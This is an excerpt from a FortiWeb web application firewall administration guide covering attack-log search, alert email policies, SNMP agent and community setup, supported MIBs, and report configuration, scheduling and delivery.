Keyword(s)	Type the exact keywords you want to search for. Unlike a quick search, an advanced search returns only the results that exactly match the specified keywords. For example, entering <code>allow</code> as a keyword will not provide results such as <code>allow_host</code> and <code>waf_allow_method</code>. You must enter the exact terms. If a single keyword consists of multiple words each separated by a space, surround the words with quotation marks ("). If quotation marks are not used, the search will treat each word as an individual keyword. This setting is optional. Note: If you entered keywords in the quick search field before opening the advanced <i>Search Dialog</i>, those keywords are retained when the dialog opens, and will be used as part of the parameters for the advanced search. Remove the keyword if it does not apply to your advanced search.
From/To Hour Minute	Select the date and time range that contains the attack log that you are searching for. Note: The date fields default to the current date. Ensure the date fields are set to the actual date range that you want to search.
all/any	Select <i>all</i> if you want to search for all terms specified in the fields shown below the <i>all/any</i> options. For example, if terms are entered in <i>Sub Type</i> and <i>Action</i>, the search results display only the attack logs matching both of those terms. Select <i>any</i> if you want to search for any one of the terms specified in the fields shown below the <i>all/any</i> options. For example, if terms are entered in <i>Sub Type</i>, <i>Source</i>, <i>Action</i> and <i>Policy</i>, the search results display the attack logs that match any of those terms.
not	Select <i>not</i> if you want to search for conditions that exclude a specific term. For example, if an IP address is entered in the <i>Source</i> field, and <i>not</i> is selected, the search results exclude all attack logs with that source IP address.
Sub Type Source Destination Source Port Destination Port HTTP Method Action Policy Service HTTP Host	Type an exact match for the value of one or more log fields. To exclude log records that match a criterion, mark its <i>Not</i> check box. Note: <i>Source</i> may be the IP address according to an HTTP header such as <code>X-Forwarded-For</code>: instead of the <code>SRC</code> at the IP layer. See “Defining your proxies, clients, & X-headers” on page 256.

- Click *OK* to initiate the search.



Search results include only exact matches for keywords and terms entered in the advanced *Search Dialog*. Ensure that the keywords and terms are accurate and relevant to the search and that the date and time fields cover the actual range you want to search.

The attack log refreshes to show the search results on a new page. The page includes two new icons: *Generate Log Detail PDF* and *Reset*.

6. To generate a detailed report of the attack log search results in PDF format, click a check box for the log to view and select the *Generate Log Detail PDF* icon.
7. Select *Reset* to clear the search results and return to the full list of attack logs.

Alert email

To notify you of serious attack and/or system failure events, you can configure the FortiWeb appliance to generate an alert email.

Alerts appear on the dashboard. FortiWeb will also generate alert e-mail if you configure email settings and include them in a trigger that is used by system resource thresholds and/or traffic policies.

Alert email are based upon events that are also in log messages. If you have received an alert email and want to know more about the events, go to the corresponding log messages. For information on viewing locally stored log messages, see [“Viewing log messages” on page 544](#).

To configure alert email

1. Configure email settings so that FortiWeb will be able to connect to an SMTP server that will deliver alerts. See [“Configuring email settings” on page 563](#).
2. If you want to receive email about attacks or policy violations, add the email settings to the trigger that is used by those policies. See [“Configuring triggers” on page 544](#).
3. If you want to receive email about system resource statuses, configure alert thresholds. See [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).
4. If you want to receive copies of event log messages via email, See [“Configuring alert email for event logs” on page 565](#).

Configuring email settings

If you define email settings, FortiWeb can send email to alert specific administrators or other personnel when a serious condition or problem occurs, such as a system failure or network attack. Email settings include email address information for selected recipients and it sets the frequency that emails are sent to those recipients.

For example, you might configure a signature set to monitor for SQL-injection violations and take specific actions if those types of violations occur. The specific actions can include sending an alert email, in which case the email is sent to the individuals identified in the email settings attached to the trigger used for the SQL injection violation. The trigger could also include recording the violation in Syslog or FortiAnalyzer. For more information on Syslog or FortiAnalyzer settings, see [“Configuring Syslog settings” on page 541](#) and [“Configuring FortiAnalyzer policies” on page 542](#).

The alert email settings also enables you to define the interval that emails are sent if the same alert condition persists following the initial occurrence.

For example, you might configure the FortiWeb appliance to send only one alert message for each 15-minute interval after warning-level log messages begin to be recorded. In that case, if the alert condition continues to occur for 35 minutes after the first warning-level log message, the FortiWeb appliance would send a total of three alert email messages, no matter how many warning-level log messages were recorded during that period of time.

Intervals are configured separately for each severity level of log messages. For more information on the severity levels of log messages, see [“Log severity levels” on page 531](#).

To configure email settings

1. Before FortiWeb will send alerts, you must first enable alert email for each log type that you want to cause them. For details, see [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).
2. Go to *Log&Report > Log Policy > Email Policy*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.
4. Configure these settings:

New Email Policy		
Policy Name	WVS-Email_Alert	
SMTP Server	mail.example.com	
Email From	wvs-alert@example.com	
Email To	admin@example.com webmaster@example.com	
Authentication	☐	
SMTP Username		
SMTP Password		
Apply & Test		
Log Level	Alert	
Emergency	1	Minutes
Alert	2	Minutes
Critical	3	Minutes
Error	5	Minutes
Warning	10	Minutes
Notification	20	Minutes
Information	30	Minutes
Debug	60	Minutes
OK Cancel		

Setting name	Description
SMTP server	Type the fully qualified domain name (FQDN) or IP address of the SMTP relay or server, such as a FortiMail appliance, that the FortiWeb appliance will use to send alerts and generated reports. Caution: If you enter a domain name, you must also configure the FortiWeb appliance with at least one DNS server. Failure to configure a DNS server may cause the FortiWeb appliance to be unable to resolve the domain name, and therefore unable to send the alert. For information on configuring use of a DNS server, see “Configuring DNS settings” on page 128 .
Email From	Type the sender email address that the FortiWeb appliance will use when sending alert email messages.
Email To	Type one to three recipient email addresses, one per field.
Authentication	Enable to authenticate with the SMTP relay when sending alerts.
SMTP Username	Type the user name of the account on the SMTP relay that will be used to send alerts. This option is available only if Authentication is enabled.

Setting name	Description
SMTP Password	Type the password of the account on the SMTP relay that will be used to send alerts. This option is available only if Authentication is enabled.
Apply & Test (button)	Click to save the alert configuration and send a sample alert to the recipient to test the setup.
Log Level	Select the priority threshold that log messages must meet or exceed in order to cause an alert. For more information on log levels, see “Log severity levels” on page 531 .
Emergency	Type the number of minutes between each alert if an alert condition of severity level <i>Emergency</i> continues to occur after the initial alert.
Alert	Type the number of minutes between each alert if an alert condition of severity level <i>Alert</i> continues to occur after the initial alert.
Critical	Type the number of minutes between each alert if an alert condition of severity level <i>Critical</i> continues to occur after the initial alert.
Error	Type the number of minutes between each alert if an alert condition of severity level <i>Error</i> continues to occur after the initial alert.
Warning	Type the number of minutes between each alert if an alert condition of severity level <i>Warning</i> continues to occur after the initial alert.
Notification	Type the number of minutes between each alert if an alert condition of severity level <i>Notification</i> continues to occur after the initial alert.
Information	Type the number of minutes between each alert if an alert condition of severity level <i>Information</i> continues to occur after the initial alert.
Debug	Type the number of minutes between each alert if an alert condition of severity level <i>Debug</i> continues to occur after the initial alert.

- Click **OK**.
- Group the email settings in a trigger (see [“Configuring triggers” on page 544](#)).

See also

- [Enabling log types, packet payload retention, & resource shortage alerts](#)
- [Configuring triggers](#)
- [Configuring alert email for event logs](#)

Configuring alert email for event logs

You can configure FortiWeb to send an alert email for event log messages.

To configure alert email for event logs

- Go to *Log&Report > Log Config > Global Log Settings*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

2. Configure these settings:

Global Log Settings

▼ ☒ **Disk**
 Log Level
 When log disk is full
 ▼ Log rolling settings
 Log file should not exceed MB

▼ ☒ **Memory**
 Log Level

▼ ☒ **Syslog**
 Syslog Policy
 Log Level
 Facility

▼ ☐ **Alert Mail**
 Email Policy

▼ ☐ **FortiAnalyzer**
 Log Level
 FortiAnalyzer Policy

Apply

Setting name	Description
Alert Mail	Enable to generate alert email when log messages are created. Distribution of alert email is controlled by email policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action is not selected for a specific type of violation, every occurrence of that violation will result in an alert email to the individuals associated with the policy selected in the Email Policy field. Note: Alert email are not sent for traffic logs. Note: Before enabling this option, verify that log frequency is not too great. If logs are very frequent, enabling this option could decrease performance and cause the FortiWeb appliance to send you many alert email messages. Email Policy Select the email settings to use for alert emails. For more information see “Configuring email settings” on page 563.

3. Click *Apply*.

See also

- [Configuring log destinations](#)
- [Viewing log messages](#)
- [Downloading log messages](#)
- [Enabling log types, packet payload retention, & resource shortage alerts](#)
- [Configuring email settings](#)
- [Configuring Syslog settings](#)
- [Configuring FortiAnalyzer policies](#)
- [Configuring log destinations](#)
- [Obscuring sensitive data in the logs](#)

SNMP traps & queries

System > Config > SNMP enables you to configure the FortiWeb appliance's simple network management protocol (SNMP) agent to allow queries for system information and to send traps (alarms or event messages) to the computer that you designate as its SNMP manager. In this way you can use an SNMP manager to monitor the FortiWeb appliance.

Before you can use SNMP, you must activate the FortiWeb appliance's SNMP agent and add it as a member of at least one community. You must also enable SNMP access on the network interface through which the SNMP manager connects. (See [“Configuring the network interfaces” on page 111.](#))

On the SNMP manager, you must also verify that the SNMP manager is a member of the community to which the FortiWeb appliance belongs, and compile the necessary Fortinet-proprietary management information blocks (MIBs) and Fortinet-supported standard MIBs. For information on MIBs, see [“MIB support” on page 572.](#)



Failure to configure the SNMP manager as a host in a community to which the FortiWeb appliance belongs, or to supply it with required MIBs, will make the SNMP monitor unable to query or receive traps from the FortiWeb appliance.

To configure the SNMP agent

1. Add the MIBs to your SNMP manager so that you will be able to receive traps and perform queries. For instructions, see the documentation for your SNMP manager.
2. Go to *System > Config > SNMP*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *System Configuration* category. For details, see [“Permissions” on page 46.](#)

3. Configure the following:

The screenshot shows the FortiWeb configuration interface. The top section is for the 'SNMP Agent' configuration, which includes a checkbox for 'Enable' (checked), and text input fields for 'Description' (containing 'SNMP1'), 'Location', and 'Contact'. Below these fields is an 'Apply' button. The bottom section is for 'Communities', featuring a 'Create New' button and a table with the following data:

Name	Queries	Traps	Enable	
Community1			☒	

Arrows point from the 'Delete' and 'Edit' labels to the trash and edit icons in the table, respectively.

Setting name	Description
SNMP Agent	Enable to activate the SNMP agent, so that the FortiWeb appliance can send traps and receive queries for the communities in which you enabled queries and traps. For more information on communities, see “Configuring an SNMP community” on page 568 .
Description	Type a comment about the FortiWeb appliance, such as <code>dont-reboot</code> . The description can be up to 35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens (-) and underscores (_).
Location	Type the physical location of the FortiWeb appliance, such as <code>floor2</code> . The location can be up to 35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens (-) and underscores (_).
Contact	Type the contact information for the administrator or other person responsible for this FortiWeb appliance, such as a phone number (555-5555) or name (jdoe). The contact information can be up to 35 characters long, and can contain only letters (a-z, A-Z), numbers, hyphens (-) and underscores (_).

4. Click *Apply*.
5. Create at least one SNMP community to define which hosts are allowed to query, and which hosts will receive traps. See [“Configuring an SNMP community”](#).

See also

- [Configuring the network interfaces](#)
- [Configuring an SNMP community](#)
- [MIB support](#)

Configuring an SNMP community

An SNMP community is a grouping of equipment for network administration purposes. You must configure your FortiWeb appliance to belong to at least one SNMP community so that community’s SNMP managers can query the FortiWeb appliance’s system information and receive SNMP traps from the FortiWeb appliance.

On FortiWeb, SNMP communities are also where you enable the traps that will be sent to that group of hosts.

You can add up to three SNMP communities. Each community can have a different configuration for queries and traps, and the set of events that trigger a trap. You can also add the IP addresses of up to eight SNMP managers to each community to designate the destination of traps and which IP addresses are permitted to query the FortiWeb appliance.

To add an SNMP community to the FortiWeb appliance's SNMP agent

1. Go to *System > Config > SNMP*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *System Configuration* category. For details, see [“Permissions” on page 46](#).

2. If you have not already configured the agent, do so before continuing. See [“To configure the SNMP agent” on page 567](#).

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

New SNMP Community

Community Name

Hosts:

IP Address	Interface	Delete
0.0.0.0	ANY ▼	

Queries:

Protocol	Port	Enable
v1	161	☒
v2c	161	☒

Traps:

Protocol	Local	Remote	Enable
v1	162	162	☒
v2c	162	162	☒

Setting name

Description

Community Name

Type the name of the SNMP community to which the FortiWeb appliance and at least one SNMP manager belongs, such as `public`.

The FortiWeb appliance will not respond to SNMP managers whose query packets do not contain a matching community name. Similarly, trap packets from the FortiWeb appliance will include community name, and an SNMP manager may not accept the trap if its community name does not match.

Caution: Fortinet strongly recommends that you do **not** add FortiWeb to the community named `public`. This popular default name is well-known, and attackers that gain access to your network will often try this name first.

Setting name	Description
Hosts	
IP Address	Type the IP address of the SNMP manager that, if traps or queries are enabled in this community: • will receive traps from the FortiWeb appliance • will be permitted to query the FortiWeb appliance SNMP managers have read-only access. To allow any IP address using this SNMP community name to query the FortiWeb appliance, enter 0 . 0 . 0 . 0. For security best practice reasons, however, this is not recommended. Caution: FortiWeb sends security-sensitive traps, which should be sent only over a trusted network, and only to administrative equipment. Note: If there are no other host IP entries, entering only 0 . 0 . 0 . 0 effectively disables traps because there is no specific destination for trap packets. <i>If you do not want to disable traps, you must add at least one other entry</i> that specifies the IP address of an SNMP manager.
Interface	Select either <i>ANY</i> or the name of the network interface from which the FortiWeb appliance will send traps and reply to queries. Note: You must select a specific network interface if the SNMP manager is not on the same subnet as the FortiWeb appliance. This can occur if the SNMP manager is on the Internet or behind a router. Note: This option only configures which network interface will send SNMP traps. To configure which network interface will receive queries, see “Configuring the network interfaces” on page 111.
Delete	Click to remove an SNMP manager from the SNMP community configuration.
Add	Click to add an SNMP manager entry. You can add up to 8 SNMP managers to each community.
Queries	Type the port number (161 by default) on which the FortiWeb appliance listens for SNMP queries from the SNMP managers in this community, then enable queries for either or both SNMP v1 and SNMP v2c.
Traps	Type the port number (162 by default) that will be the source (<i>Local</i>) port number and destination (<i>Remote</i>) port number for trap packets sent to SNMP managers in this community, then enable traps for either or both SNMP v1 and SNMP v2c.
SNMP Event	Enable the types of SNMP traps that you want the FortiWeb appliance to send to the SNMP managers in this community. (See Figure 5 on page 571.) While most trap events are described by their names, the following events occur when a threshold has been exceeded: • CPU Overusage — CPU usage has exceeded 80%. • Memory Low — Memory (RAM) usage has exceeded 80%. • Log disk space low — Disk space usage for the log partition or disk has exceeded 90%. For more information on supported traps and queries, see “MIB support” on page 572.

5. Enable traps for one or more the SNMP events.

SNMP Event	Enable
CPU Overusage	☒
Memory Low	☒
Log disk space low	☒
Operation mode changed	☒
Interface IP changed	☒
HA heartbeat failed	☒
Policy start	☒
Policy stop	☒
Pserver offline	☒
XML intrusion trap	☒
XML schema trap	☒
XML filter trap	☒
XML signature encode trap	☒
XML WSDL trap	☒
XML SQL trap	☒
WAF allow method trap	☒
WAF access trap	☒
WAF start page trap	☒
WAF parameter validation rule trap	☒
WAF brute force login trap	☒
WAF robot control trap	☒
WAF Hidden Fields	☒
WAF URL access trap	☒
WAF signature trap	☒
Netlink up status	☐
Netlink down status	☐

6. Click OK.
7. To verify your SNMP configuration and network connectivity between your SNMP manager and your FortiWeb appliance, be sure to test both traps and queries (assuming you have enabled both). Traps and queries typically occur on different port numbers, and therefore verifying one does not necessarily verify that the other is also functional. To test queries, from your SNMP manager, query the FortiWeb appliance. To test traps, cause one of the events that should trigger a trap.

MIB support

The FortiWeb SNMP agent supports a few management information blocks (MIBs).

Table 54: Supported MIBs

MIB or RFC	Description
Fortinet Core MIB	This Fortinet-proprietary MIB enables your SNMP manager to query for system information and to receive traps that are common to multiple Fortinet devices.
FortiWeb MIB	This Fortinet-proprietary MIB enables your SNMP manager to query for FortiWeb-specific information and to receive FortiWeb-specific traps.
RFC-1213 (MIB II)	The FortiWeb SNMP agent supports MIB II groups, except: • There is no support for the EGP group from MIB II (RFC 1213, section 3.11 and 6.10). • Protocol statistics returned for MIB II groups (IP, ICMP, TCP, UDP, and so on.) do not accurately capture all FortiWeb traffic activity. More accurate information can be obtained from the information reported by the FortiWeb MIB.
RFC-2665 (Ethernet-like MIB)	The FortiWeb SNMP agent supports Ethernet-like MIB information, except the dot3Tests and dot3Errors groups.

You can obtain these MIB files from the Fortinet Technical Support web site, <https://support.fortinet.com/>.

To communicate with your FortiWeb appliance's SNMP agent, you must first compile these MIBs into your SNMP manager. If the standard MIBs used by the SNMP agent are already compiled into your SNMP manager, you do not have to compile them again.

To view a trap or query's name, object identifier (OID), and description, open its MIB file in a plain text editor.

All traps sent include the message, the FortiWeb appliance's serial number, and host name.

For instructions on how to configure traps and queries, see [“SNMP traps & queries” on page 567](#).

See also

- [SNMP traps & queries](#)

Reports

FortiWeb can generate reports based upon:

- auto-learning data collected by policies (see [“Auto-learning” on page 149](#))
- traffic statistics collected by policies (see [“Data analytics” on page 584](#))
- attack, event, and traffic log messages
- vulnerability scans for PCI compliance

When generating a log-based or scan-based report, FortiWeb appliances collate information collected from log files and scan results, and present the information in tabular and graphical format.

Before it can generate a report, in addition to log files and scan results, FortiWeb appliances require a report profile in order to generate a report. A report profile is a group of settings that contains the report name, file format, subject matter, and other aspects that the FortiWeb appliance considers when generating the report.

FortiWeb appliances can generate reports automatically, according to the schedule that you configure in the report profile, or manually, when you click the *Run now* icon in the report profile list.



Generating reports can be resource intensive. To avoid traffic processing performance impacts, you may want to generate reports during times with low traffic volume, such as at night or weekends. For more information on scheduling the generation of reports, see [“Scheduling reports” on page 581](#). To determine the current traffic volume, see [“Real Time Monitor widget” on page 524](#).



Consider sending reports to your web developers to provide feedback. If your organization develops web applications in-house, this can be a useful way to quickly provide them information on how to improve the security of the application.

To configure a report profile

1. Before you generate a report, collect log data and/or vulnerability scan data that will be the basis of the report. For information on enabling logging to the local hard disk, see [“Configuring logging” on page 532](#) and [“Vulnerability scans” on page 492](#).

2. Go to *Log&Report > Report Config > Report Config*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

4. In *Report Name*, type the name of the report as it will be referenced in the configuration. The name cannot contain spaces.

5. If you are creating a new report profile, select from *Type* either to run the report immediately after configuration (*On Demand*) or run the report at configured intervals (*On Schedule*). This cannot be changed later.



For on-demand reports, the FortiWeb appliance does **not** save the report profile after the generating the report. If you want to save the report profile, but do not want to generate the report at regular intervals, select *On Schedule*, but then in the *Schedule* section, select *Not Scheduled*.

6. In *Report Title*, type a display name that will appear in the title area of the report. The title may include spaces.
7. In *Description*, type a comment or other description.
8. Click the blue expansion arrow next to each section, and configure the following:

Setting name	Description
Properties	Select to add logos, headers, footers and company information to customize the report. For more information, see “Customizing the report’s headers, footers, & logo” on page 575.
Report Scope	Select the time span of log messages from which to generate the report. You can also create a data filter to include in the report only those logs that match a set of criteria. For more information, see “Restricting the report’s scope” on page 576.
Report Types	Select one or more subject matters to include in the report. For more information, see “Choosing the type & format of a report profile” on page 578.
Report Format	Select the number of top items to include in ranked report subtypes, and other advanced features. For more information, see “Choosing the type & format of a report profile” on page 578.
Schedule	Select when the FortiWeb appliance will run the report, such as weekly or monthly. For more information, see “Scheduling reports” on page 581.
	This section is available only if <i>Type</i> is <i>On Schedule</i> .
Output	Select the file formats and destination email addresses, if any, of reports generated from this report profile. For more information, see “Selecting the report’s file type & email delivery” on page 581.

9. Click *OK*.

On-demand reports are generated immediately. Scheduled reports are generated at intervals set in the schedule. For information on viewing generated reports, see [“Viewing & downloading generated reports” on page 583.](#)

To generate a report immediately


1. Mark the check box of the report.
2. Click *Run now*.

See also

- [Customizing the report's headers, footers, & logo](#)
- [Restricting the report's scope](#)
- [Choosing the type & format of a report profile](#)
- [Scheduling reports](#)
- [Selecting the report's file type & email delivery](#)

Customizing the report's headers, footers, & logo

When configuring a report profile, you can provide text and logos to customize the appearance of reports generated from the profile.



Setting name	Description
Company Name	Type the name of your company or other organization.
Header Comment	Type a title or other information to include in the header.
Footer Comment	Select which information to include in the footer: • <i>Report Title</i> — Use the text from <i>Report Name</i>. • <i>Custom</i> — Use other text that you type into the field to the right of this option.
Title Page Logo	Select <i>No Logo</i> to omit the title page logo. Select <i>Custom</i> to include a logo, then click <i>Select</i> to locate the logo file, and click <i>Upload</i> to save it to the FortiWeb appliance's hard disk for use in the report title page. See "To upload a logo file" .
Header Logo	Select <i>No Logo</i> to omit the header logo. Select <i>Custom</i> to include a logo, then click <i>Select</i> to locate the logo file, and click <i>Upload</i> to save it to the FortiWeb appliance's hard disk for use in the report header. The header logo will appear on every page in PDF- and Microsoft Word (RTF)-formatted reports, and at the top of the page in HTML-formatted reports.

To upload a logo file

1. Expand the *Properties* section of the *Log Report Config* dialog. (See ["To configure a report profile" on page 573](#).)
2. Select the *Custom* option of either *Title Page Logo* or *Header Logo*.
3. Click the *Select* link.
A dialog appears.
4. Click *Browse* and locate the logo file on your computer.

5. Click *Upload*.

A rendering of the logo appears in the dialog.

6. Select the logo and click *OK*.

The name of the logo appears next to *Custom* on the *Log Report Config*.

When adding a logo to the report, select a logo file format that is compatible with your selected file format outputs. If you select a logo that is not supported for a file format, the logo will not appear in that output. For example, if you provide a logo graphic in WMF format, it will not appear in PDF or HTML output.

Table 55: Report file formats and their supported logo file formats

PDF reports	JPG, PNG, GIF
RTF reports	JPG, PNG, GIF, WMF
HTML reports	JPG, PNG, GIF

To delete a logo file

1. Expand the *Properties* section of the *Log Report Config* dialog. (See [“To configure a report profile” on page 573.](#))
2. Click the *Select* link beside the logo name you want to remove in either *Title Page Logo* or *Header Logo*.
A dialog appears.
3. Select the logo to remove.
4. Click *Delete*.

Restricting the report's scope

When configuring a report profile, you can select the time span of log messages from which to generate the report. You can also filter out log messages that you do not want to include in the

report. (To start at the beginning of the report configuration instructions, see [“To configure a report profile” on page 573.](#))

Report Scope

Time Period

☒ Past N Days Past N Days:

☐ From: Date 2001 Jan 01 Hour 00

To: Date 2001 Jan 01 Hour 00

Data Filter

☒ None

☐ Include logs that match the following criteria:

☒ all ☐ any

Priority ☐ ☐ >= ☐ = ☐ <= Emergency

Source(s) ☐ not

Destination(s) ☐ not

Http Method(s) ☐ not

User(s) ☐ not

Action(s) ☐ not

Subtype(s) ☐ not

Policy(s) ☐ not

Service(s) ☐ not

Message(s) ☐ not

Day of Week ☐ Sun ☐ Mon ☐ Tue ☐ Wed ☐ Thu ☐ Fri ☐ Sat

Setting name	Description
Time Period	Select the time span of the report, such as <i>This Month</i> or <i>Last N Days</i> . Alternatively, select and configure From Date and To Date .
Past N Hours Past N Days Past N Weeks	Enter the number N of the appliance of time. This option appears only when you have selected <i>Last N Hours</i> , <i>Last N Days</i> , or <i>Last N Weeks</i> from <i>Time Period</i> , and therefore must define N .
From Date Hour	Select and configure the beginning of the time span. For example, you may want the report to include log messages starting from May 5, 2006 at 6 PM. You must also configure To Date .
To Date Hour	Select to configure the end of the time span. For example, you may want the report to include log messages up to May 6, at 12 AM. You must also select and configure From Date .
None	Select this option to include all log messages within the time span.
Include logs that match the following criteria	Select this option to include only the log messages whose values match your filter criteria, such as Priority . Also select whether log messages must meet every other configured criteria (<i>all</i>) or if meeting any one of them is sufficient (<i>any</i>) to be included. To exclude the log messages which match a criterion, mark its <i>not</i> check box, located on the right-hand side of the criterion. Criteria are the fields of log messages. For more information on log messages, see the FortiWeb Log Reference .

Setting name	Description
Priority	Mark the check box to filter by log severity threshold (in raw logs, the <code>pri</code> field), then select the name of the severity, such as <i>Emergency</i> , and whether to include logs that are greater than or equal to (<code>>=</code>), equal to (<code>=</code>), or less than or equal to (<code><=</code>) that severity.
Source(s)	Type the source IP address (in raw logs, the <code>src</code> field) that log messages must match. Note: <i>Source(s)</i> may be the IP address according to an HTTP header such as <code>X-Forwarded-For</code> : instead of the SRC at the IP layer. See “Defining your proxies, clients, & X-headers” on page 256 .
Destination(s)	Type the destination IP address (in raw logs, the <code>dst</code> field) that log messages must match.
Http Method(s)	Type the HTTP method (in raw logs, the <code>http_method</code> field) that log messages must match, such as <code>get</code> or <code>post</code> .
User(s)	Type the administrator account name (in raw logs, the <code>user</code> field) that log messages must match, such as <code>admin</code> .
Action(s)	Type the action (in raw logs, the <code>action</code> field) that log messages must match, such as <code>login</code> or <code>Alert</code> .
Subtype(s)	Type the subtype (in raw logs, the <code>subtype</code> field) that log messages must match, such as <code>waf_information</code> .
Policy(s)	Type the policy name (in raw logs, the <code>policy</code> field) that log messages must match.
Service(s)	Type the service name (in raw logs, the <code>src</code> field) that log messages must match, such as <code>http</code> or <code>https</code> .
Message(s)	Type the message (in raw logs, the <code>msg</code> field) that log messages must match.
Day of Week	Mark the check boxes for the days of the week whose log messages you want to include.

Choosing the type & format of a report profile

When configuring a report profile, you can select one or more queries or query groups that define the subject matter of the report.

When configuring a report profile, you can configure various advanced options that affect how many log messages are used to formulate ranked report subtypes, and how results will be displayed.

(To start at the beginning of the report configuration instructions, see [“To configure a report profile” on page 573.](#))

Setting name	Description
Report Types	Each query group contains multiple individual queries, each of which correspond to a chart that will appear in the generated report. You can select all queries within the group by marking the check box of the query group, or you can expand the query group and then individually select each query that you want to include: • PCI Reports • Attack Activity • Traffic Activity • Event activity For example: • If you want the report to include charts about both normal traffic and attacks, you might enable both of the query groups <i>Attack Activity</i> and <i>Event Activity</i>. • If you want the report to specifically include only a chart about top system event types, you might expand the query group <i>Event Activity</i>, then enable only the individual query <i>Top Event Types</i>.
Report Format	
Include reports with no matching data	Enable to include reports for which there is no data. A blank report will appear in the summary. You might enable this option to verify inclusion of report types selected in the report profile when filter criteria or absent logs would normally cause the report type to be omitted.
Advanced	

Setting name	Description
In 'Ranked Reports' show top	Ranked reports (top x, or top y of top x) can include a different number of results per cross-section, then combine remaining results under "Others." For example, in <i>Top Sources By Top Destination</i>, the report includes the top x destination IP addresses, and their top y source IP addresses, then groups the remaining results. You can configure both x and y in the <i>Advanced</i> section of <i>Report Format</i>. In ranked reports, ("top x" report types, such as <i>Top Attack Type</i>), you can specify how many items from the top rank will be included in the report. For example, you could set the <i>Top Attack URLs</i> report to include up to 30 of the top x denied URLs by entering 30 for <i>values of the first variable 1.. 30</i>. Some ranked reports rank not just one aspect, but two, such as <i>Top Sources By Top Destination</i>: this report ranks top source IP addresses for each of the top destination IP addresses. For these double ranked reports, you can also configure the rank threshold of the second aspect by entering the second threshold in <i>values of the second variable for each value of the first variable 1..30</i>. Note: Reports that do not include "Top" in their name display all results. Changing the ranked reports values will not affect these reports.
values of the first variable 1.. 30	Type the value of x .
values of the second variable for each value of the first variable 1.. 30	Type the value of y. This value is only considered if the report rankings are nested (i.e. top y of top x).
Include Summary Information	Enable to include a listing of the report profile settings.
Include Table of Contents	Enable to include a table of contents for the report.

Scheduling reports

When configuring a report profile, you can select whether the FortiWeb appliance will generate the report on demand or according to the schedule that you configure. (To start at the beginning of the report configuration instructions, see [“To configure a report profile” on page 573.](#))

▼ **Schedule**

Schedule ☒ Not Scheduled

☐ Daily

☐ These Days: ☐ Mon ☐ Thu ☐ Sun

☐ Tue ☐ Fri

☐ Wed ☐ Sat

☐ These Dates: (e.g. 1,14,28)

Time 00 : 00



Generating reports can be resource-intensive. To improve performance, schedule reports during times when traffic volume is low, such as at night or during weekends. To determine the current traffic volumes, see [“Real Time Monitor widget” on page 524.](#)

Setting name	Description
Schedules	
Not Scheduled	Select if you do not want the FortiWeb appliance to generate the report automatically according to a schedule. If you select this option, the report will only be generated on demand, when you manually click the <i>Run now</i> icon from the report profile list. For more information, see “Reports” on page 572.
Daily	Select to generate the report each day. Also configure Time .
These Days	Select to generate the report on specific days of each week, then mark the check boxes for those days. Also configure Time .
These Dates	Select to generate the report on specific date of each month, then enter those date numbers. Separate multiple date numbers with a comma. Also configure Time . For example, to generate a report on the first and 30 th day of every month, enter 1 , 30.
Time	Select the time of the day when the report will be generated. This option does not apply if you have selected Not Scheduled .

Selecting the report's file type & email delivery

When configuring a report profile, you can select one or more file formats in which to save reports generated from the profile. You can also configure the FortiWeb appliance to email the

reports to specific recipients. (To start at the beginning the report configuration instructions, see [“To configure a report profile” on page 573.](#))

▼ **Output**

File Output ☒ HTML ☐ PDF ☐ MS Word ☐ Text ☐ MHT

Email Output ☐ HTML ☐ PDF ☐ MS Word ☐ Text ☐ MHT

Email Policy

Email Subject

Email Body

Email Attachment Name

☐ Compress Report Files

Setting name	Description
File Output	Enable file formats that you want to generate and store on the FortiWeb appliance's hard drive. HTML file format reports will always be generated (indicated by the permanently enabled check box), but you may also choose to generate reports in: • <i>PDF</i> • <i>MS Word</i> (RTF) • plain text (<i>Text</i>), and • MIME HTML (<i>MHT</i>, which can be included in email)
Email Output	Enable file formats that you want to generate for an email that will be mailed to the recipients defined by the email settings.
Email Policy	Select the predefined email settings that you want to associate with the report output. This determines who receives the report email. For more information on configuring email settings, see “Configuring email settings” on page 563.
Email Subject	Type the subject line of the email.
Email Body	Type the message body of the email.
Email Attachment Name	Type a file name that will be used for the attached reports.
Compress Report Files	Enable to enclose the generated report formats in a compressed archive, as a single attachment.

Viewing & downloading generated reports

Log&Report > Report Browse > Report Browse displays a list of generated reports that you can view, delete, and download.



In FortiWeb HA clusters, generated reports (PDFs, HTML, RTFs, plain text, or MHT) are recorded on their originating appliance. If you cannot locate a report that should have been generated, a failover may have occurred. Reports generated during that period will be stored on the other appliance. To view those reports, switch to the other appliance.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see ["Permissions" on page 46](#).

Table 56: *Log&Report > Report Browse > Report Browse*

Report Files	Started	Finished	Size (bytes)	Other Formats
☒ Scheduled_Report-On-Main-2012-06-03-0000	Sun Jun 3 00:00:00 2012	Sun Jun 3 00:00:01 2012		PDF
☒ Traffic			25,614	PDF
☒ Event			13,169	PDF
☒ Attack			36,719	PDF
☒ PCI			11,879	PDF
☒ Report-On-Main-2012-05-29-1153	Tue May 29 11:53:50 2012	Tue May 29 11:53:51 2012		PDF

Setting name	Description
Refresh (icon)	Click to refresh the display with the current list of completed, generated reports.
Rename (icon)	Select the check box next to a report and click <i>Rename</i> to rename it.
